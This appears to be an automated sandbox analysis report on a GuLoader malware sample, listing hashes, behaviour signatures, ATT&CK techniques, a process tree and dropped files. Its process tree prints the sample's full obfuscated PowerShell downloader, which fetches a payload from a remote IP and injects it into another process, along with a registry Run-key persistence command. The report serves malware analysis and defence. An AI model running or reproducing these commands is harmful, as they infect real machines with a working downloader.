guloader | 30c88b9ec6d46ea8f9db5f0fd2509d543cd3490687d492ebf6137be561e9af37

Analysis

max time kernel
93s
max time network
100s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
13/05/2024, 12:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Acolyctine.vbs
Size 23KB
Sample240513-pt98caef91
SHA256 07ecaaa416220d41b01576eadd929df141f59d1fa015467c8f2e30f6e796a98c
MD5 e557ba27c815fb5159bbaa5654a52662
SHA1 ab97262f1dbc2a5eee2f77f11b6aff4d82ae20b7
SHA512 561047dafda615a05ad160752353a9a2058d4602b5f9429684e444bc1ad32902ca9dc6b19a94ebb0bce6f480b1f0787674ea13172aaa38145b8273d69c06331a
SSDEEP 384:V8yYZkAniuZSuHjfzkeLXZxPdXb+18Fj/7Q7Qola04ShBK5f/gbBY:GrZnnBbscJ5xsc/7wZxhBK5gq
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4236	WScript.exe
5	4596	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Naturalist = "%Redaktrer% -w 1 $footles=(Get-ItemProperty -Path 'HKCU:\\Electrodialyses\\').Petitessen;%Redaktrer% ($footles)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2468	wab.exe
2468	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3192	powershell.exe
2468	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3192 set thread context of 2468	3192	powershell.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
920	2468	WerFault.exe	96

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1428	reg.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4596	powershell.exe
4596	powershell.exe
3192	powershell.exe
3192	powershell.exe
3192	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3192	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4596	powershell.exe
Token: SeDebugPrivilege	3192	powershell.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4236 wrote to memory of 4596	4236	WScript.exe	82
PID 4236 wrote to memory of 4596	4236	WScript.exe	82
PID 4596 wrote to memory of 4556	4596	powershell.exe	87
PID 4596 wrote to memory of 4556	4596	powershell.exe	87
PID 4596 wrote to memory of 3192	4596	powershell.exe	93
PID 4596 wrote to memory of 3192	4596	powershell.exe	93
PID 4596 wrote to memory of 3192	4596	powershell.exe	93
PID 3192 wrote to memory of 3416	3192	powershell.exe	94
PID 3192 wrote to memory of 3416	3192	powershell.exe	94
PID 3192 wrote to memory of 3416	3192	powershell.exe	94
PID 3192 wrote to memory of 2468	3192	powershell.exe	96
PID 3192 wrote to memory of 2468	3192	powershell.exe	96
PID 3192 wrote to memory of 2468	3192	powershell.exe	96
PID 3192 wrote to memory of 2468	3192	powershell.exe	96
PID 3192 wrote to memory of 2468	3192	powershell.exe	96
PID 2468 wrote to memory of 1196	2468	wab.exe	97
PID 2468 wrote to memory of 1196	2468	wab.exe	97
PID 2468 wrote to memory of 1196	2468	wab.exe	97
PID 1196 wrote to memory of 1428	1196	cmd.exe	99
PID 1196 wrote to memory of 1428	1196	cmd.exe	99
PID 1196 wrote to memory of 1428	1196	cmd.exe	99

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Acolyctine.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Galgenfugle = 1;$Autofunktionen='Su';$Autofunktionen+='bstrin';$Autofunktionen+='g';Function euphuize($Palmehyttes){$Trimpregneringer=$Palmehyttes.Length-$Galgenfugle;For($Subgoals136=4;$Subgoals136 -lt $Trimpregneringer;$Subgoals136+=5){$Indtegnede+=$Palmehyttes.$Autofunktionen.Invoke( $Subgoals136, $Galgenfugle);}$Indtegnede;}function Filtercigaretten($Sygeplejens10){& ($Tubulibranchiate) ($Sygeplejens10);}$Babesias=euphuize 'TeleMUl.ioO.erzcro iFerslTilsl SvaaRe,i/Prog5Mi t.Klav0Smre P.le( SekWOperi.aabn sysdReceo Do.w.urosBybu Obj NAlviTGstf Sche1blad0 U,v. ad0 Pa.; Bag lluWEfteiMuscnFata6Vaad4 sov;Ri.d Unhox,olo6Ljpe4S et;Purp MinrThi,v Udl:Baj,1.alk2Rntg1Genj.F am0Urge)Wago SlanG I neR gncHulskLampoGian/ Sno2 Vi 0Stra1Fdse0Mala0 Azo1 Dar0lovf1.prn B pFViskiSt.ar Su eSgeffEl.tou.ejxTor,/A,mg1Fr n2At,i1 ult.Puer0galv ';$Utilisers=euphuize 'CardU Beks ,roeB.gmrPerf- SopAGlu,gCockeSp.nnRusttnonp ';$Ruskinian=euphuize 'prodhWh rtLysdtKey.p.vin: nha/Evne/ Fa.1Samm0 Lit3Hava.Kys,1,ian8F.ue2Unch. Und1b.li8 Bes.Refl1ca o5.lai2Cirk/T.lkS,kriiK,ind EsksBlodt inde ,agpLevelw lla ClodSavnsWindeudhun ut. G,uaSfaraRadifVitt ';$Testamentsvidnet=euphuize 'Tank>Wasq ';$Tubulibranchiate=euphuize 'SkoviCraiezoehxPend ';$Bidronningerne='Decatur';Filtercigaretten (euphuize 'PhenSAkkoe Udst Sk.-vidtCRa no elenPa,ttDocteSpeln Supt .in Syrl-termPSkyta,liptOmplhS.nd ,lopTF nt: Fe.\ atin.dslo StonUnrehEfteekendrsjusoOktai Proc Anfn QuaeSt ds O ts Kom.Gy.ntHordxgalvtNone Tax-Pe,rVOtcraTranlnabouRe.teklip Bogh$affyBForgiFrondSp.rrSleiopounnfainnd geiZootn PrigCa be AarrFurrn.vere Di,; Byg ');Filtercigaretten (euphuize ' rdi Tr,f,oat .edr(AccutLon e.eadsklentjazz-F rlpHy,oaK rktToffhKo.k ,ixTBe.a:Caus\Ant.n JenoLo,dnReceh hvleHoverTilto EmbiTramc ,venBanaeImbrs Dats uxe.Cadmt B,bxAntrt D,c)Unre{Un ne nitx Am.iE rotMacr}Dinn;Imag ');$Forjttede = euphuize 'TekneSnowc,reuh ataoAdm. Mes.%MaanaSpecpHenspC,kldB,laaRe.atKvrkaKyst%Town\BortU C lnPoind BlovBecoePrognStuedUnfrius,igAdjueVaab.Va.kSOverpF.naePred Au,o& Ud.& li Rule Z,gc samhGlueoVi,d Basi$Luft ';Filtercigaretten (euphuize 'kana$FonlgSennl f,yoI icb Friadiril,uni: AutSNonntdygteteglrSteeemyeloFo rpGim,lTyraaRestsSyndmMotoaUni.=Tu.a(CuracLetsmGrupd no. Beds/ ,luc kla Plas$AutoF Diso ,pdrWagej FortTeattUdmaeRecod Rege Kri)Til. ');Filtercigaretten (euphuize 'Club$SweagSe,ul ortoAnkobCenta,edilZoos:SmaaTF.lsiCad,lkopikVar aN.nhl DigdSugae DeslSla sXen.eS.ersUsne=Unre$Ud,uRSte,uHibis DiskStabi repns.biiAposaIdionWate.GovtsMastpOv.rlH.sei Hy,tPani(We.s$ PrsT ure.ighsAp.pt B,naChesmdetueRublnSchwtAn.rs Obsvyesti Indd A rnUf re.dsctDisk)Enta ');$Ruskinian=$Tilkaldelses[0];Filtercigaretten (euphuize 'Greg$ socgAfvel sk,oR,otbO inaMycol.rom: WerM TveefumilSmitaUncrnLufti,nnosdoommdi,x=evneNFsteepr,dwMisd-engiOAtmobLgenjHjspe,herc UnotPri ,ardSS,enyA nasQuirtTo beSk,dmHjti.MontNThr e asttSign. VelW.ldge Skeb SikCMi.alSkyliconseHu lnP,ottNon ');Filtercigaretten (euphuize 'Secu$S.anM amaeIntel EnvaVindn Pe.iSolssSpekmKism.KromHStene PseaBaladt,vieAs,orTests Bl,[Omst$ O,dUTilstOphai ublUnkii M,rs.amgeFo srp.rcsO,er]acqu=Ka.t$GranBTramaCystbRamaeApprsL.ediTer.aIs is Udf ');$Scoldenore=euphuize 'MothMa raeVa ll Inqa E gn Beribiogs RepmBand. SkrDGangoC lcwLyttn.uadlEks.oFrasa A,ddL ksFMariiEleklLomee Ked(Phil$De tRObstu Ar sReask resi NicnslugiS nbaVaganUnde,G.ro$ CerSIndie hilmVaabiCrumsKrltoUkulc LeoiForua Bs lSka iDodesanatm Til)Sili ';$Scoldenore=$Stereoplasma[1]+$Scoldenore;$Semisocialism=$Stereoplasma[0];Filtercigaretten (euphuize 'De.m$Aglygoverl J voFa.tbd spaHotel.eac: eziU.owhnSwipdYng e,krur,aksw LegoAcclrSto,kex emDecie frenAfly=Pi,e(d.vlT t,leR kesAsi,tmdre-MagtPFilia.egnt St,hFami Capn$ MecSHancePallmKl,miSlynsTilsoPre c.nmiiRes a StalMisbiInefsBa.emDenn)Anne ');while (!$Underworkmen) {Filtercigaretten (euphuize 'Medi$ Uopg Ensl Di.oConfbNonfaGormlPent:AargGJu ieClamnCaundOngoaMulin .esn OveeBasilSte.s ,hoe acusSyns=Pras$,amptDisprUkr.uHazee Han ') ;Filtercigaretten $Scoldenore;Filtercigaretten (euphuize ' DesSPrdit FejamagerDknatSlag-C.lxSra elHisteTau.eLuksp ids bran4Ba.l ');Filtercigaretten (euphuize 'Hy.o$f,ligHypolMe.ooBrn bTheaa su.lKult: mccUPs,unKonndInspeLjerrHjlpwPachob.rnrStorkPyr mFrakeCoc nDomi=Blok(D,giT Li,eTr.fsCar,tDece-De aPconvaR.nhtSluthFora Lovf$ Ad.SCongeEndemGenliTrits B.voopencDec,i Un.aInpul.ivii Ands Chom Ele)Juic ') ;Filtercigaretten (euphuize 'Dog,$.nohgItacl StiobankbProtaStenl Blo: B.eAOv,lnb,aus E ivYamuaDimer.aaslFrisiChafgfumohWineeVraadLit.= Hyp$ NedgF,uelExploRackb fl,ao,erlR,ba:NunnTFla,oBeknrDevitGuldoAlloi MiksSomee,etr+Her +Bebo% Dug$BortTMa,tiIdmtl ,uikpyr aBa klS smdkarre BetlFre.s Ha.eOplssTrov.BellcpresoProsu.tarn.andtFin ') ;$Ruskinian=$Tilkaldelses[$Ansvarlighed];}$Outlinger=293310;$Transpiercing=26560;Filtercigaretten (euphuize 'Trst$sheig L glGennoLitibTilbaGroelM,ni:BulrOErnrp Ca.f D neMadkdIndfeJovirA,ti F ma=Gumf IdrG GeoeBandtM,lm-EuroCL ucoKa,in Cirt SupeSubtnByudtPre ind$FuseSLacue ExomSovei Us s vano A.ecUnimiKardaSofkl CouiVildsSlypmBenk ');Filtercigaretten (euphuize ' Dia$timeg O cl.atho,aseb SkraS rolGian:TilsG .ogoEndol,imld .ritArbeh ClarEvo,eRooma awad A f ,ffo=Nons Sphy[UgrlSringyRoass TottRamaePtosm U,a.ulffCFad.oPerinMolivP.eme .harSupptStrk]Frai:,yon: RecF emirBracoFis m.orvBTildaAksesWoibefinn6Hemo4PrefSMinitFuglrGasuiBed,nragtgS kk(.nti$bl nOS,orp,airfVedveAppadOpveeuncor.elv)U,ta ');Filtercigaretten (euphuize ',old$Obnog KralSyc oSknsbBataaLbnilSand: onkBHel,i.ndeh.lateButlnBortsDrejiDuckg ertunt eRecorSubf Tel= par Bu.s[ MusSNaboyS nes Sy tSupre Feamforg..ortTBitteTipsxOutdtSpek.Pla E ailnBrndcGy aoLogodTumuiMetsn Strg T.r]tram:Leac: UdrADe.iS ecC AnkIB.shIHere.MediG.ygseHegetU reS Ka.t V.gr Colielton ,lagGoni( R o$ Bo.GNauposkr laktid anttT,anhMoner Mule,rejaStucdAgne)Pr,d ');Filtercigaretten (euphuize 'Udde$AnangFysilRavgo BedbUv daKalkl Fl :DakeTConci BiomScr p Bl.a Pe nForuuSnnimDemis Con=Indt$ nivB angiBetohS.vseKamcnBemisBrawiStragTrictBrote nderL,mn. RejsU,stuTabeb AntsHawot.dfyrStoriY,renPseugUnsu(Fac.$MaskODmonuBandtA,gilLystiG utnSk.ggPou.eSchnrFroc,skit$Ma,mT Lupr Skya.ylen,ocqsEpi,pAnapiVoltepneur,aggc FatiUor,neumegLnst)Unik ');Filtercigaretten $Timpanums;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4596
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Undvendige.Spe && echo $"
    3⤵
    PID:4556
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Galgenfugle = 1;$Autofunktionen='Su';$Autofunktionen+='bstrin';$Autofunktionen+='g';Function euphuize($Palmehyttes){$Trimpregneringer=$Palmehyttes.Length-$Galgenfugle;For($Subgoals136=4;$Subgoals136 -lt $Trimpregneringer;$Subgoals136+=5){$Indtegnede+=$Palmehyttes.$Autofunktionen.Invoke( $Subgoals136, $Galgenfugle);}$Indtegnede;}function Filtercigaretten($Sygeplejens10){& ($Tubulibranchiate) ($Sygeplejens10);}$Babesias=euphuize 'TeleMUl.ioO.erzcro iFerslTilsl SvaaRe,i/Prog5Mi t.Klav0Smre P.le( SekWOperi.aabn sysdReceo Do.w.urosBybu Obj NAlviTGstf Sche1blad0 U,v. ad0 Pa.; Bag lluWEfteiMuscnFata6Vaad4 sov;Ri.d Unhox,olo6Ljpe4S et;Purp MinrThi,v Udl:Baj,1.alk2Rntg1Genj.F am0Urge)Wago SlanG I neR gncHulskLampoGian/ Sno2 Vi 0Stra1Fdse0Mala0 Azo1 Dar0lovf1.prn B pFViskiSt.ar Su eSgeffEl.tou.ejxTor,/A,mg1Fr n2At,i1 ult.Puer0galv ';$Utilisers=euphuize 'CardU Beks ,roeB.gmrPerf- SopAGlu,gCockeSp.nnRusttnonp ';$Ruskinian=euphuize 'prodhWh rtLysdtKey.p.vin: nha/Evne/ Fa.1Samm0 Lit3Hava.Kys,1,ian8F.ue2Unch. Und1b.li8 Bes.Refl1ca o5.lai2Cirk/T.lkS,kriiK,ind EsksBlodt inde ,agpLevelw lla ClodSavnsWindeudhun ut. G,uaSfaraRadifVitt ';$Testamentsvidnet=euphuize 'Tank>Wasq ';$Tubulibranchiate=euphuize 'SkoviCraiezoehxPend ';$Bidronningerne='Decatur';Filtercigaretten (euphuize 'PhenSAkkoe Udst Sk.-vidtCRa no elenPa,ttDocteSpeln Supt .in Syrl-termPSkyta,liptOmplhS.nd ,lopTF nt: Fe.\ atin.dslo StonUnrehEfteekendrsjusoOktai Proc Anfn QuaeSt ds O ts Kom.Gy.ntHordxgalvtNone Tax-Pe,rVOtcraTranlnabouRe.teklip Bogh$affyBForgiFrondSp.rrSleiopounnfainnd geiZootn PrigCa be AarrFurrn.vere Di,; Byg ');Filtercigaretten (euphuize ' rdi Tr,f,oat .edr(AccutLon e.eadsklentjazz-F rlpHy,oaK rktToffhKo.k ,ixTBe.a:Caus\Ant.n JenoLo,dnReceh hvleHoverTilto EmbiTramc ,venBanaeImbrs Dats uxe.Cadmt B,bxAntrt D,c)Unre{Un ne nitx Am.iE rotMacr}Dinn;Imag ');$Forjttede = euphuize 'TekneSnowc,reuh ataoAdm. Mes.%MaanaSpecpHenspC,kldB,laaRe.atKvrkaKyst%Town\BortU C lnPoind BlovBecoePrognStuedUnfrius,igAdjueVaab.Va.kSOverpF.naePred Au,o& Ud.& li Rule Z,gc samhGlueoVi,d Basi$Luft ';Filtercigaretten (euphuize 'kana$FonlgSennl f,yoI icb Friadiril,uni: AutSNonntdygteteglrSteeemyeloFo rpGim,lTyraaRestsSyndmMotoaUni.=Tu.a(CuracLetsmGrupd no. Beds/ ,luc kla Plas$AutoF Diso ,pdrWagej FortTeattUdmaeRecod Rege Kri)Til. ');Filtercigaretten (euphuize 'Club$SweagSe,ul ortoAnkobCenta,edilZoos:SmaaTF.lsiCad,lkopikVar aN.nhl DigdSugae DeslSla sXen.eS.ersUsne=Unre$Ud,uRSte,uHibis DiskStabi repns.biiAposaIdionWate.GovtsMastpOv.rlH.sei Hy,tPani(We.s$ PrsT ure.ighsAp.pt B,naChesmdetueRublnSchwtAn.rs Obsvyesti Indd A rnUf re.dsctDisk)Enta ');$Ruskinian=$Tilkaldelses[0];Filtercigaretten (euphuize 'Greg$ socgAfvel sk,oR,otbO inaMycol.rom: WerM TveefumilSmitaUncrnLufti,nnosdoommdi,x=evneNFsteepr,dwMisd-engiOAtmobLgenjHjspe,herc UnotPri ,ardSS,enyA nasQuirtTo beSk,dmHjti.MontNThr e asttSign. VelW.ldge Skeb SikCMi.alSkyliconseHu lnP,ottNon ');Filtercigaretten (euphuize 'Secu$S.anM amaeIntel EnvaVindn Pe.iSolssSpekmKism.KromHStene PseaBaladt,vieAs,orTests Bl,[Omst$ O,dUTilstOphai ublUnkii M,rs.amgeFo srp.rcsO,er]acqu=Ka.t$GranBTramaCystbRamaeApprsL.ediTer.aIs is Udf ');$Scoldenore=euphuize 'MothMa raeVa ll Inqa E gn Beribiogs RepmBand. SkrDGangoC lcwLyttn.uadlEks.oFrasa A,ddL ksFMariiEleklLomee Ked(Phil$De tRObstu Ar sReask resi NicnslugiS nbaVaganUnde,G.ro$ CerSIndie hilmVaabiCrumsKrltoUkulc LeoiForua Bs lSka iDodesanatm Til)Sili ';$Scoldenore=$Stereoplasma[1]+$Scoldenore;$Semisocialism=$Stereoplasma[0];Filtercigaretten (euphuize 'De.m$Aglygoverl J voFa.tbd spaHotel.eac: eziU.owhnSwipdYng e,krur,aksw LegoAcclrSto,kex emDecie frenAfly=Pi,e(d.vlT t,leR kesAsi,tmdre-MagtPFilia.egnt St,hFami Capn$ MecSHancePallmKl,miSlynsTilsoPre c.nmiiRes a StalMisbiInefsBa.emDenn)Anne ');while (!$Underworkmen) {Filtercigaretten (euphuize 'Medi$ Uopg Ensl Di.oConfbNonfaGormlPent:AargGJu ieClamnCaundOngoaMulin .esn OveeBasilSte.s ,hoe acusSyns=Pras$,amptDisprUkr.uHazee Han ') ;Filtercigaretten $Scoldenore;Filtercigaretten (euphuize ' DesSPrdit FejamagerDknatSlag-C.lxSra elHisteTau.eLuksp ids bran4Ba.l ');Filtercigaretten (euphuize 'Hy.o$f,ligHypolMe.ooBrn bTheaa su.lKult: mccUPs,unKonndInspeLjerrHjlpwPachob.rnrStorkPyr mFrakeCoc nDomi=Blok(D,giT Li,eTr.fsCar,tDece-De aPconvaR.nhtSluthFora Lovf$ Ad.SCongeEndemGenliTrits B.voopencDec,i Un.aInpul.ivii Ands Chom Ele)Juic ') ;Filtercigaretten (euphuize 'Dog,$.nohgItacl StiobankbProtaStenl Blo: B.eAOv,lnb,aus E ivYamuaDimer.aaslFrisiChafgfumohWineeVraadLit.= Hyp$ NedgF,uelExploRackb fl,ao,erlR,ba:NunnTFla,oBeknrDevitGuldoAlloi MiksSomee,etr+Her +Bebo% Dug$BortTMa,tiIdmtl ,uikpyr aBa klS smdkarre BetlFre.s Ha.eOplssTrov.BellcpresoProsu.tarn.andtFin ') ;$Ruskinian=$Tilkaldelses[$Ansvarlighed];}$Outlinger=293310;$Transpiercing=26560;Filtercigaretten (euphuize 'Trst$sheig L glGennoLitibTilbaGroelM,ni:BulrOErnrp Ca.f D neMadkdIndfeJovirA,ti F ma=Gumf IdrG GeoeBandtM,lm-EuroCL ucoKa,in Cirt SupeSubtnByudtPre ind$FuseSLacue ExomSovei Us s vano A.ecUnimiKardaSofkl CouiVildsSlypmBenk ');Filtercigaretten (euphuize ' Dia$timeg O cl.atho,aseb SkraS rolGian:TilsG .ogoEndol,imld .ritArbeh ClarEvo,eRooma awad A f ,ffo=Nons Sphy[UgrlSringyRoass TottRamaePtosm U,a.ulffCFad.oPerinMolivP.eme .harSupptStrk]Frai:,yon: RecF emirBracoFis m.orvBTildaAksesWoibefinn6Hemo4PrefSMinitFuglrGasuiBed,nragtgS kk(.nti$bl nOS,orp,airfVedveAppadOpveeuncor.elv)U,ta ');Filtercigaretten (euphuize ',old$Obnog KralSyc oSknsbBataaLbnilSand: onkBHel,i.ndeh.lateButlnBortsDrejiDuckg ertunt eRecorSubf Tel= par Bu.s[ MusSNaboyS nes Sy tSupre Feamforg..ortTBitteTipsxOutdtSpek.Pla E ailnBrndcGy aoLogodTumuiMetsn Strg T.r]tram:Leac: UdrADe.iS ecC AnkIB.shIHere.MediG.ygseHegetU reS Ka.t V.gr Colielton ,lagGoni( R o$ Bo.GNauposkr laktid anttT,anhMoner Mule,rejaStucdAgne)Pr,d ');Filtercigaretten (euphuize 'Udde$AnangFysilRavgo BedbUv daKalkl Fl :DakeTConci BiomScr p Bl.a Pe nForuuSnnimDemis Con=Indt$ nivB angiBetohS.vseKamcnBemisBrawiStragTrictBrote nderL,mn. RejsU,stuTabeb AntsHawot.dfyrStoriY,renPseugUnsu(Fac.$MaskODmonuBandtA,gilLystiG utnSk.ggPou.eSchnrFroc,skit$Ma,mT Lupr Skya.ylen,ocqsEpi,pAnapiVoltepneur,aggc FatiUor,neumegLnst)Unik ');Filtercigaretten $Timpanums;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3192
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Undvendige.Spe && echo $"
      4⤵
      PID:3416
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of WriteProcessMemory
      PID:2468
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Naturalist" /t REG_EXPAND_SZ /d "%Redaktrer% -w 1 $footles=(Get-ItemProperty -Path 'HKCU:\Electrodialyses\').Petitessen;%Redaktrer% ($footles)"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1196
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Naturalist" /t REG_EXPAND_SZ /d "%Redaktrer% -w 1 $footles=(Get-ItemProperty -Path 'HKCU:\Electrodialyses\').Petitessen;%Redaktrer% ($footles)"
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:1428
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2468 -s 1440
        5⤵
        Program crash
        
        PID:920

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2468 -ip 2468
1⤵
PID:1720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_ivwqytyk.ob0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ivwqytyk.ob0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Undvendige.Spe

Path C:\Users\Admin\AppData\Roaming\Undvendige.Spe
Size 416KB
SHA256 7f9fd3efe18aa777855dc5e582b09d1462ae4f27eed99751cc836921a6c335dc
MD5 1cd1de6144a839bf4140f5259c5d8f1c
SHA1 b255447dbd318691ba6cc7860927bddde1a5d338
SHA512 88c30cd2568f06e5fd981b21e630a39c546e96fbfbf16a5c47b41a7ce3852b59434a302b473fca4965cb3b4714dd10027921c93a5803c871b8d877767d4cb8ea
SSDEEP 12288:tROISZSinUac1VTUEcI5cmUCc74hkBD2IEUP:HOIWfnUac1VTUE59UCc73cXUP
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2468-47-0x0000000002280000-0x00000000069F6000-memory.dmp

Download

memory/2468-46-0x0000000002280000-0x00000000069F6000-memory.dmp

Download

memory/2468-45-0x0000000001020000-0x0000000002274000-memory.dmp

Download

memory/3192-39-0x0000000006F20000-0x0000000006FB6000-memory.dmp

Download

memory/3192-37-0x00000000074C0000-0x0000000007B3A000-memory.dmp

Download

memory/3192-43-0x00000000086A0000-0x000000000CE16000-memory.dmp

Download

memory/3192-20-0x0000000002350000-0x0000000002386000-memory.dmp

Download

memory/3192-21-0x0000000004DD0000-0x00000000053F8000-memory.dmp

Download

memory/3192-22-0x0000000005400000-0x0000000005422000-memory.dmp

Download

memory/3192-23-0x00000000054E0000-0x0000000005546000-memory.dmp

Download

memory/3192-24-0x0000000005600000-0x0000000005666000-memory.dmp

Download

memory/3192-34-0x0000000005770000-0x0000000005AC4000-memory.dmp

Download

memory/3192-35-0x0000000005C60000-0x0000000005C7E000-memory.dmp

Download

memory/3192-36-0x0000000005CA0000-0x0000000005CEC000-memory.dmp

Download

memory/3192-41-0x00000000080F0000-0x0000000008694000-memory.dmp

Download

memory/3192-38-0x0000000006210000-0x000000000622A000-memory.dmp

Download

memory/3192-40-0x0000000006E40000-0x0000000006E62000-memory.dmp

Download

memory/4596-2-0x00007FFAD9F93000-0x00007FFAD9F95000-memory.dmp

Download

memory/4596-16-0x00007FFAD9F93000-0x00007FFAD9F95000-memory.dmp

Download

memory/4596-15-0x00007FFAD9F90000-0x00007FFADAA51000-memory.dmp

Download

memory/4596-17-0x00007FFAD9F90000-0x00007FFADAA51000-memory.dmp

Download

memory/4596-14-0x00007FFAD9F90000-0x00007FFADAA51000-memory.dmp

Download

memory/4596-13-0x00007FFAD9F90000-0x00007FFADAA51000-memory.dmp

Download

memory/4596-51-0x00007FFAD9F90000-0x00007FFADAA51000-memory.dmp

Download

memory/4596-3-0x00000208F1DC0000-0x00000208F1DE2000-memory.dmp

Download